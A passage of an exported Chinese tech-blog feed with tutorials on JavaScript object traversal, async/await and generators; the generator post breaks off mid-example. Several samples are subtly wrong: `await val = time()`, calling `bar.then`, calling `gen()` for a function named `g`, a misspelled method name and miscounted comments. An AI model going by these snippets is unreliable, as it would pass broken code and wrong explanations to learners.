等同于<code>Object.getOwnPropertyNames(target).concat(Object.getOwnPropertySymbols(target))。</code></p><p>关于遍历对象的方法的介绍就到这里,通过下面这个表格,对这些方法进行一个总结。</p><table><thead><tr><th style="text-align:center"></th><th style="text-align:center">自有属性</th><th style="text-align:center">继承属性</th><th style="text-align:center">可枚举属性</th><th style="text-align:center">不可枚举属性</th><th style="text-align:center">Symbol属性</th></tr></thead><tbody><tr><td style="text-align:center"><code>for...in</code></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center">✘</td><td style="text-align:center">✘</td></tr><tr><td style="text-align:center"><code>Object.getOwnPropertypeNames()</code></td><td style="text-align:center"></td><td style="text-align:center">✘</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center">✘</td></tr><tr><td style="text-align:center"><code>Object.keys()</code></td><td style="text-align:center"></td><td style="text-align:center">✘</td><td style="text-align:center"></td><td style="text-align:center">✘</td><td style="text-align:center">✘</td></tr><tr><td style="text-align:center"><code>Object.getOwnPropertypeSymbols()</code></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center">✔</td></tr><tr><td style="text-align:center"><code>Reflect.ownKeys()</code></td><td style="text-align:center"></td><td style="text-align:center">✘</td><td style="text-align:center"></td><td style="text-align:center">✘</td></tr></tbody></table><blockquote><p>✔ 表示只会遍历此种类型属性</p><p>✘ 表示不会遍历此种类型属性</p></blockquote><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
<category> JavaScript </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> JavaScript </tag>
</tags>
</entry>
<entry>
<title>ES6之Async/Await</title>
<link href="/2018/05/20/es6-async&await/"/>
<url>/2018/05/20/es6-async&await/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>在前面的两篇博客中,我们介绍了<strong><em>ES6</em></strong> 的 <code>promise</code> 和 <code>generator</code>,它们都是用来解决 <strong><em>js</em></strong>中的异步操作问题的。本篇博客的主角,<code>async</code>函数,同样是用于解决异步回调问题,它甚至被称为异步操作的终极解决方案。使用它,我们可以像处理简单的同步操作一样来处理一些异步操作,彻底告别回调函数方式的回调地狱问题,<code>promise</code>方法绵长的<code>then</code>调用问题,<code>generator</code>函数需要引入 <strong><em>co</em></strong> 库等这些异步处理方案中恼人的不完美之处。</p><p>准确的来说,<code>async</code>函数其实是 <strong><em>ES7</em></strong> 中的新语言特性,但<strong><em>babel</em></strong>已经完全提供了它的转码,所以在可以使用 <strong><em>ES6</em></strong>的地方,我们都可以大胆的使用 <code>async</code>函数。</p><p>为了图个方便,就将此篇博客无伤大雅的放在 <strong><em>ES6</em></strong> 系列中,所以特此说明。</p><p>好了,下面就来具体介绍以下我们今天的主角吧。</p></blockquote><a id="more"></a><h3 id="基本概念"><a href="#基本概念" class="headerlink" title="基本概念"></a>基本概念</h3><p><code>async</code>函数,其实是将<code>promise</code>和<code>generator</code>函数结合在一起,从而将异步处理步骤大大简化的一种函数。</p><p>首先,我们来复习一下系列博客的前两篇中介绍的<code>generator</code>和<code>promise</code>。</p><p><code>generator</code>函数,通过为函数定义添加 <strong>*</strong> 号来声明,通过<code>yield</code>关键字,得到异步结果,并在我们使用<code>next</code>执行器时,将异步结果传递给我们。它的缺点在于,我们必须在异步处理完成时,调用<code>next</code>执行器来进行结果传递,这意味着,我们必须对一些异步 <strong><em>API</em></strong>进行二次包装,增加了异步处理的复杂性。虽然 <strong><em>co</em></strong>库为我们提供了类似自动执行器的功能,但要求异步操作必须返回一个<code>thunk</code>函数或<code>promise</code>,在实际使用中仍然是比较麻烦的。具体见<a href="https://blog.gyufei.cn/2018/05/12/es6-Generator/" target="_blank" rel="noopener">ES6之generator</a></p><p><code>promise</code>,将回调函数规范化,通过 <code>resolve</code>传递异步操作结果,通过<code>reject</code>传递异步操作异常,通过<code>then</code>的链式调用,来将异步操作序列化。但在一些复杂的异步操作时,<code>new Promise(function(resolve,reject){...})</code>,这种冗长的写法,以及大串的<code>then</code>调用,也会使代码混乱和难以维护。具体见<a href="https://blog.guoyufei.cn/2018/04/20/es6-Promise/" target="_blank" rel="noopener">ES6之promise</a></p><p>而<code>async</code>函数,作为<code>generator</code>函数的语法糖,将<code>generator</code>的 <code>yield</code>机制,通过包装为<code>promise</code>实现自动执行,从而避免了我们手动使用<code>next</code>执行器或者使用一些类似<strong><em>co</em></strong>库这种自动执行器的麻烦。</p><h4 id="Async"><a href="#Async" class="headerlink" title="Async"></a><strong><em>Async</em></strong></h4><p>首先来看一下<code>async</code>函数的基本语法:</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//通过在函数声明前加上 async,来声明函数是一个async函数。</span></span><br><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">function</span> <span class="title">foo</span>()</span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'this is a async func'</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>简单的在函数前加上<code>async</code>关键字,就声明了函数 <code>foo</code> 为一个异步的 <code>async</code>函数。我们可以像调用一个普通函数一样调用它。</p><p>但特别之处在于,这个函数并不会像普通函数一样简单的返回我们<code>return</code>的值,它总是将我们在函数中<code>return</code>的值转化为一个<code>promise</code>对象返回。</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">console</span>.log(foo())</span><br><span class="line"><span class="comment">//Promise{<resolved>: "this is a async func"}</span></span><br><span class="line"></span><br><span class="line">foo().then(<span class="function"><span class="params">res</span> =></span> {</span><br><span class="line"> <span class="built_in">console</span>.log(res)</span><br><span class="line">})</span><br><span class="line"><span class="comment">//this is a async func</span></span><br></pre></td></tr></table></figure><p>通过上面的代码,我们可以清楚的看出<code>async</code>函数总是返回一个<code>promise</code>对象。还记得我们在<code>promise</code>中提到的<code>resolve</code>实例方法吗?<code>async</code>就是使用它,来将我们在函数内部声明的返回值包装为<code>promise</code>对象的。</p><p>当然,如果我们不在<code>async</code>函数中显式返回任何值,那么它就会返回 <code>Promise.resove(undefined)</code>。</p><h4 id="Await"><a href="#Await" class="headerlink" title="Await"></a><strong><em>Await</em></strong></h4><p><code>async</code>函数当然不仅仅只是返回一个<code>promise</code>对象这么简单,通过<code>Await</code>关键字,才能真正体现出<code>async</code>无阻塞,以同步方式来书写异步代码的魔力所在。</p><p><code>await</code>关键字,用在<code>async</code>函数中,从名字也可以看出,它用于等待一个异步操作的完成并得到异步操作的结果。类似<code>yield</code>关键字只能用在<code>generator</code>函数中,<code>await</code>也只能用在<code>async</code>中。</p><p><code>await</code>关键字,会等待跟随在它后面的表达式完成,取得表达式的值。如果它后面跟随的表达式返回一个<code>promise</code>对象,它就会执行这个<code>promise</code>对象的<code>then</code>方法,得到<code>promise</code>的<code>resolved</code>值。</p><p>通过代码来看一下它的具体作用:</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//我们定义一个返回promise对象的异步函数</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">time</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =></span> {</span><br><span class="line"> setTimeout(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span><br><span class="line"> resolve(<span class="number">100</span>)</span><br><span class="line"> },<span class="number">3000</span>)</span><br><span class="line"> })</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">function</span> <span class="title">bar</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">await</span> val = time()</span><br><span class="line"> <span class="keyword">return</span> val+<span class="number">100</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//别忘了我们上面提到的,async永远返回一个promise对象</span></span><br><span class="line">bar()</span><br><span class="line"><span class="comment">//Promise { <state>: "pending" }</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//3秒后我们得到异步的结果值</span></span><br><span class="line">bar.then(<span class="function"><span class="params">res</span>=></span>res)</span><br><span class="line"><span class="comment">//200</span></span><br></pre></td></tr></table></figure><p>从上面的代码我们可以看出,<code>await</code>关键字,将其后跟随的表达式进行解析,如果是<code>promise</code>对象,就会等待<code>promise</code>对象转换为<code>fullfilled</code>状态,得到其<code>resolve</code>出来的值。</p><p><code>await</code>简洁直接的解决了我们调用异步操作并得到异步操作结果这个过程的麻烦,在遇到异步操作的处理时,我们只需要简单的在其前面加上<code>await</code>,它会去执行这个异步操作,等待着得到异步的结果,从而让我们的代码逻辑清晰,再也不需要那一长条的<code>then</code>链了。</p><p>另外,<code>await</code>后面如果跟随的是一个同步操作,它也会直接返回这个同步操作的结果值,跟不加<code>await</code>是一样的。这也解决了我们使用<code>generator</code>时,<code>yield</code>必须返回一个<code>thunk</code>函数或<code>promise</code>对象才能被<strong><em>co</em></strong>库自动执行的问题。</p><h3 id="异常处理"><a href="#异常处理" class="headerlink" title="异常处理"></a>异常处理</h3><p><code>async/await</code>,已经算是比较完美的异步处理方案了。但它仍然有美中不足的地方,那就是异常处理。</p><p>我们知道,<code>promise</code>会有两种状态,<code>fullfilled</code>和<code>rejected</code>,当异步操作发生错误时,<code>promise</code>会进入<code>rejected</code>状态,传递出错误。但是在<code>async</code>函数中,<code>await</code>只会去自动获取其得到的<code>promise</code>的<code>resolve</code>值,并不关心<code>reject</code>值。这也就意味着,我们必须自己去处理异步操作返回<code>promise</code>的<code>rejected</code>状态。</p><p>首先,第一种方法,直接了当,我们在<code>await</code>后面的<code>promise</code>对象上直接处理<code>reject</code>。代码形如下:</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">function</span> <span class="title">foo</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">let</span> a = <span class="keyword">await</span> fetch(<span class="string">'a'</span>).catch(<span class="function"><span class="params">err</span> =></span> {<span class="built_in">console</span>.log(err)})</span><br><span class="line"> <span class="keyword">let</span> b = <span class="keyword">await</span> fetch(<span class="string">'b'</span>).catch(<span class="function"><span class="params">err</span> =></span> {<span class="built_in">console</span>.log(err)})</span><br><span class="line"> <span class="keyword">return</span> a+b</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>但是上面这种方法,在<code>async</code>包装了很多异步操作时,有很多<code>await</code>时,需要为每个<code>await</code>后面的异步操作都加上<code>catch</code> ,显得臃肿和累赘,非常不优雅。</p><p>第二种方法,就是使用<code>try/catch</code>,将多个异步操作的<code>await</code>都放在<code>try</code>块中,并在<code>catch</code>块中统一处理。</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">function</span> <span class="title">foo</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">let</span> a = <span class="keyword">await</span> fetch(<span class="string">'a'</span>)</span><br><span class="line"> <span class="keyword">let</span> b = <span class="keyword">await</span> fetch(<span class="string">'b'</span>)</span><br><span class="line"> } <span class="keyword">catch</span>(err) {</span><br><span class="line"> <span class="built_in">console</span>.log(err) </span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这种方法,算是在实际应用中使用的较多的一种方法,它能够方便的同时处理同步和异步错误。但是在异步操作逻辑比较复杂时,也并不是那么的优雅,会一定程度增加代码的不可读性和复杂度。</p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>关于<code>await/async</code>函数的介绍,就到这里。其实如果仔细的了解了<code>generator</code>函数和<code>promise</code>,<code>async</code>函数是非常容易理解的,也可以很直观的体会到它相比于其他两者的简洁优雅。作为 <strong><em>JavaScript</em></strong> 近年来推出的最革命性的特性之一,相信在后面的前端领域发展中,它也会发挥越来越重要的作用。</p><p>好啦,这篇博客就到这里。谢谢阅读,鞠躬退场^O^。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
<category> ES6 </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> ES6 </tag>
</tags>
</entry>
<entry>
<title>ES6之Generator</title>
<link href="/2018/05/12/es6-Generator/"/>
<url>/2018/05/12/es6-Generator/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>在 ES6 中,对于异步问题的处理其实笼统的来说提供了三种解决方案,分别是<code>Promise</code>,<code>Generator</code>,<code>async/await</code> 。但这三种方案并不是各自独立,而是互相关联,互相依赖的。它们也都有各自的一些应用场景和优缺点。</p><p>这篇博客就主要来介绍一下<code>Generator</code>。</p><p>OK,Let’s begin。</p></blockquote><a id="more"></a><h3 id="Generator-概述"><a href="#Generator-概述" class="headerlink" title="Generator 概述"></a><strong><em>Generator</em></strong> 概述</h3><p>首先,<code>Generator</code>是ES6中新推出的一种函数的叫法,它是一种全新的函数类型。</p><p>它与<code>JS</code>中其他函数的主要区别在于,它是一种可以在运行时暂停的函数。一般来说,在<code>JS</code>中,当一个函数运行起来时,我们是无法中断它的,归因于<code>JS</code>的单线程和事件循环机制,我们在以前是没法做到将一个正在运行的函数暂停去做一些其他事情,然后在需要时回来继续运行这个函数的。</p><p>而<code>Generator</code>函数,正是为我们提供了这样一个实现,让我们可以在函数代码执行过程中,一次或多次暂停,并在将来的某个时刻继续执行。我们来仔细思考一下,对于普通的函数来说,我们在调用函数时向函数传入参数,并等待函数执行完毕为我们<code>return</code>一个最终值。那么对于<code>Generator</code>函数来说,我们在每次暂停时,都可以返回一个值,然后在启动时,再传入一个值。嗯,听起来还蛮振奋人心的函数内外部双向通信,用来处理异步问题,实在是再合适不过了啊。</p><h4 id="generator-函数语法"><a href="#generator-函数语法" class="headerlink" title="generator 函数语法"></a><strong><em>generator</em></strong> 函数语法</h4><p>首先,我们来看一下<code>generator</code>函数是如何书写的。</p><p><code>generator</code>函数的声明语法跟普通函数的声明语法大致相同,不同的是,它多一个<code>*</code>号。如下:</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*以下两种generator函数声明都是合法的,但推荐使用第一种,比较明了*/</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> *<span class="title">bar</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="comment">//..</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span>* <span class="title">bar</span>(<span class="params"></span>)</span>{</span><br><span class="line"> </span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这个<code>*</code>号,就是用来标示函数是一个<code>generator</code>函数的。</p><p>如果接触过<code>python</code>的话,会发现<code>ES6</code>的<code>generator</code>函数和<code>python</code>的生成器函数十分相似,都是通过 <code>yield</code> 来在函数内部暂停函数的执行,并传递值到函数外去,再通过<code>next()</code>传递值给<code>yield</code>表达式,并继续函数的执行。(只是顺便一提,没了解过<code>python</code>的同学可以当做没看见。。</p><p>我们先来看一个简单的 generator 函数的例子,通过这个简单的例子来对<code>generator</code>函数做一个直观的认识。</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> *<span class="title">first</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">yield</span> <span class="number">1</span></span><br><span class="line"> <span class="keyword">yield</span> <span class="number">2</span></span><br><span class="line"> <span class="keyword">return</span> <span class="number">3</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> f = first()</span><br><span class="line"></span><br><span class="line">f</span><br><span class="line"><span class="comment">//Generator</span></span><br><span class="line"></span><br><span class="line">f.next()</span><br><span class="line"><span class="comment">//{value: 1, done: false}</span></span><br><span class="line"></span><br><span class="line">f.next()</span><br><span class="line"><span class="comment">//{value: 2, done: false}</span></span><br><span class="line"></span><br><span class="line">f.next()</span><br><span class="line"><span class="comment">//{value: 3, done: true}</span></span><br><span class="line"></span><br><span class="line">f.next()</span><br><span class="line"><span class="comment">//{value: undefined, done: true}</span></span><br></pre></td></tr></table></figure><p>通过上面的函数,我们可以看到,我们定义的<code>generator</code>函数有以下几个特别的地方:</p><ul><li><code>first()</code>并不会执行<code>first</code>函数,也不会返回函数运行结果,而是返回一个指向函数内部状态的指针对象,也就是一个<code>Generator</code>对象。</li><li>当我们执行调用<code>generator</code>函数返回的对象的<code>next()</code>方法后,函数才开始执行,执行到<code>yield</code>关键字时暂停,并返回一个对象,这个对象的<code>value</code>值为<code>yield</code>传递出的值,<code>done</code>属性是函数的状态,当函数执行完毕时,它会从<code>false</code>置为<code>true</code>。</li></ul><h4 id="yield"><a href="#yield" class="headerlink" title="yield"></a><strong><em>yield</em></strong></h4><p>大家<code>generator</code>函数的关键语句——<code>yield</code>。我们就来具体解释一下 <code>yield</code>。</p><p><code>yield</code>的汉语意思就是产出,从上面的例子中也很好理解,就是产出一个形如<code>{value: xxx, done:boolean}</code>的对象。</p><p>在<code>generator</code>函数运行过程中,当遇到<code>yield</code>语句时,就会暂停函数,并将<code>yield</code>后的值作为<code>next()</code>所返回对象的<code>value</code>值。如果<code>yield</code>表达式不返回值的话,<code>value</code>就为<code>undefined</code>。</p><p>再次调用<code>next()</code>方法,函数继续从上次暂停的地方执行,直到再次遇到<code>yield</code>,以此类推。</p><p>如果从上次暂停的位置后面没有<code>yield</code>,函数就会一直执行下去,直到函数结束将<code>next</code>返回对象的<code>done</code>值置为<code>true</code>。</p><p>值得注意的是,如果函数有<code>return</code>语句的话,<code>return</code>语句的返回值会作为<code>next()</code>调用返回对象的最后一个<code>value</code>,并结束函数,后续的<code>next</code>调用,会一直返回<code>undefined</code>。</p><p>关于<code>yield</code>,还有以下两点需要注意:</p><ul><li><p><code>yield</code>只能用在<code>generator</code>函数中,不能用在普通函数中,因此它也不能用在那些以函数作为参数的方法中,例如<code>forEach</code>,<code>map</code>等方法。</p></li><li><p><code>yield</code> 如果用在表达式中参加运算,必须加括号。形如下:</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> *<span class="title">second</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">let</span> x = <span class="number">1</span> + (<span class="keyword">yield</span> <span class="number">2</span>)</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li></ul><h4 id="双向通信"><a href="#双向通信" class="headerlink" title="双向通信"></a>双向通信</h4><p>在上面我们提到了,<code>yield</code>表达式可以暂停<code>generator</code>函数的运行,并将其后的值传递出去。那么我们如何向<code>yield</code>表达式传递值呢?也就是说,<code>generator</code>函数是如何实现函数内外部的双向通信的呢?</p><p>看下面例子:</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> *<span class="title">foo</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">let</span> x = <span class="number">1</span> + (<span class="keyword">yield</span> <span class="number">200</span>)</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'x: '</span>+ x)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//首先,我们调用generator函数得到返回的generator对象。</span></span><br><span class="line"><span class="keyword">let</span> b = foo()</span><br><span class="line"></span><br><span class="line"><span class="comment">//我们调用next方法,执行函数。注意此时函数开始运行,首先对 x 赋值,从右到左,遇到了yield,暂停函数执行,返回 200</span></span><br><span class="line">b.next()</span><br><span class="line"><span class="comment">//{value: 200, done: false}</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//继续调用next()方法,函数从上次暂停的yield处继续开始,我们为next方法传递了一个参数1</span></span><br><span class="line">b.next(<span class="number">1</span>)</span><br><span class="line"><span class="comment">//'x: 2'</span></span><br><span class="line"><span class="comment">//{value: undefine, done: true}</span></span><br></pre></td></tr></table></figure><p>从上面代码我们可以看到,<strong><em>x</em></strong>的值在函数结束时为2。</p><p>通过以上代码我们就可以清楚的知道<code>generator</code>函数如何实现双向通信了。</p><ul><li>遇到<code>yield</code>表达式时,暂停函数,并将其后的值传递出去</li><li>在下一个<code>next</code>调用时,从暂停的<code>yield</code>处继续运行,并将<code>next</code>携带的参数作为此处<code>yield</code>表达式的最终计算结果值。</li><li>如果 <code>next()</code>没有传递参数给<code>yield</code>表达式的话,默认<code>yield</code>表达式返回值为<code>undefined</code>。</li></ul><p>形象的来说,<code>yield</code>就像是在管道一样的函数上开了一个口子,在运行到它所在位置时,从这个口子会冒出一个东西,我们把冒出的东西拿到后,还可以通过这个口子,再往里面塞进去一个东西。而<code>next</code>,就是用来使我们能够合乎规则和秩序的取到口子传递出的东西再塞东西进去。</p><p>看明白上面的例子后,我们再通过下面这个复杂一些的例子,更详细的加深一下理解。</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> *<span class="title">bar</span>(<span class="params">x</span>)</span>{</span><br><span class="line"> <span class="keyword">let</span> y = <span class="number">2</span> * (<span class="keyword">yield</span> x + <span class="number">1</span>)</span><br><span class="line"> <span class="keyword">let</span> z = <span class="keyword">yield</span>(y/<span class="number">3</span>)</span><br><span class="line"> <span class="keyword">let</span> h = x + y + z</span><br><span class="line"> <span class="built_in">console</span>.log(h)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//首先,我们向函数传递一个参数 5</span></span><br><span class="line"><span class="keyword">let</span> b = bar(<span class="number">5</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">//调用next方法。在这个next方法我们只是用来启动函数,到达第一个yield位置,传递出x+1的值,暂停</span></span><br><span class="line"><span class="comment">//这个next我们不需要传递任何参数,因为此时并没有处于暂停状态的yield表达式来接受我们传递的值。</span></span><br><span class="line">b.next()</span><br><span class="line"><span class="comment">//{value: 6, done: false}</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//继续调用next,此时函数在第一个yield暂停的位置继续运行,计算 y 的值。</span></span><br><span class="line"><span class="comment">//我们通过 next 传递进去一个值,将这个值作为 yield 表达式的计算结果值,求得y值为 48</span></span><br><span class="line"><span class="comment">//求得y 值之后,到函数下一行,计算 z 的值</span></span><br><span class="line"><span class="comment">//此时我们又遇到了yield,并将 y/3 的值传递出去,函数暂停,</span></span><br><span class="line">b.next(<span class="number">24</span>)</span><br><span class="line"><span class="comment">//{value: 16,done: false}</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//继续调用next,此时函数在第二个yield暂停的位置继续往下运行,计算 z 的值。</span></span><br><span class="line"><span class="comment">//同上,我们传递一个值作为yield表达式的结果,得到 z 值为 1。</span></span><br><span class="line"><span class="comment">//函数继续运行,直到结束,没有再遇到yield和return传递值,因此返回对象value为undefined</span></span><br><span class="line"><span class="comment">//并最终输出 h 值为 5 + 58 + 1 ,即54</span></span><br><span class="line">b.next(<span class="number">1</span>)</span><br><span class="line"><span class="comment">//{value: undefined,done:false}</span></span><br></pre></td></tr></table></figure><p>上面这个例子对于初次接触<code>generator</code>的同学可能有些难以理解,多看几次^O^.</p><h4 id="异常捕捉"><a href="#异常捕捉" class="headerlink" title="异常捕捉"></a>异常捕捉</h4><p>我们可以通过<code>next()</code>方法向<code>generator</code>函数内传递数据,那么当然,像<code>promise</code>对象的数据和错误处理配套的一样,我们也可以向<code>generator</code>中传递异常。</p><p>来看代码:</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> *<span class="title">g</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">try</span>{</span><br><span class="line"> <span class="keyword">yield</span> <span class="number">200</span></span><br><span class="line"> } <span class="keyword">catch</span>(err) {</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'generator 内部捕获异常:'</span> + err)</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> f = gen()</span><br><span class="line"></span><br><span class="line"><span class="comment">//启动generator函数</span></span><br><span class="line">f.next()</span><br><span class="line"></span><br><span class="line"><span class="comment">//使用generator对象的throw方法,向函数内部传递异常(注意区分此方法和全局throw方法,不是一个哦</span></span><br><span class="line">f.throw(<span class="string">'aError'</span>)</span><br><span class="line"><span class="comment">//generator 内部捕获异常:aError</span></span><br></pre></td></tr></table></figure><p>当然,在实际使用中,我们最好应该向<code>throw</code>中传递一个<code>Error</code>对象的实例。此处传递一个字符串的行为不可取,只是为了方便演示。</p><p><code>generator</code>对象的<code>throw</code>方法只能在<code>generator</code>函数启动后才能传递错误进去,很好理解,我们当然必须首先使用一次<code>next</code>方法启动函数才能抛出异常啊。抛出的异常如果在内部未被捕获,就会扩散到<code>throw</code>调用的位置,还没被捕获的话,程序就会被异常终止。</p><h4 id="generator对象的return方法"><a href="#generator对象的return方法" class="headerlink" title="generator对象的return方法"></a><strong><em>generator</em></strong>对象的<em>return</em>方法</h4><p><code>generator</code>对象,除了我们上面提到的<code>next</code>和<code>throw</code>两个方法外,还有一个<code>return</code>方法。它的作用是向<code>generator</code>函数内部传递一个值,并结束<code>generator</code>函数的运行。</p><p>如下:</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> *<span class="title">gen</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">yield</span> <span class="number">1</span></span><br><span class="line"> <span class="keyword">yield</span> <span class="number">2</span></span><br><span class="line"> <span class="keyword">yield</span> <span class="number">3</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span 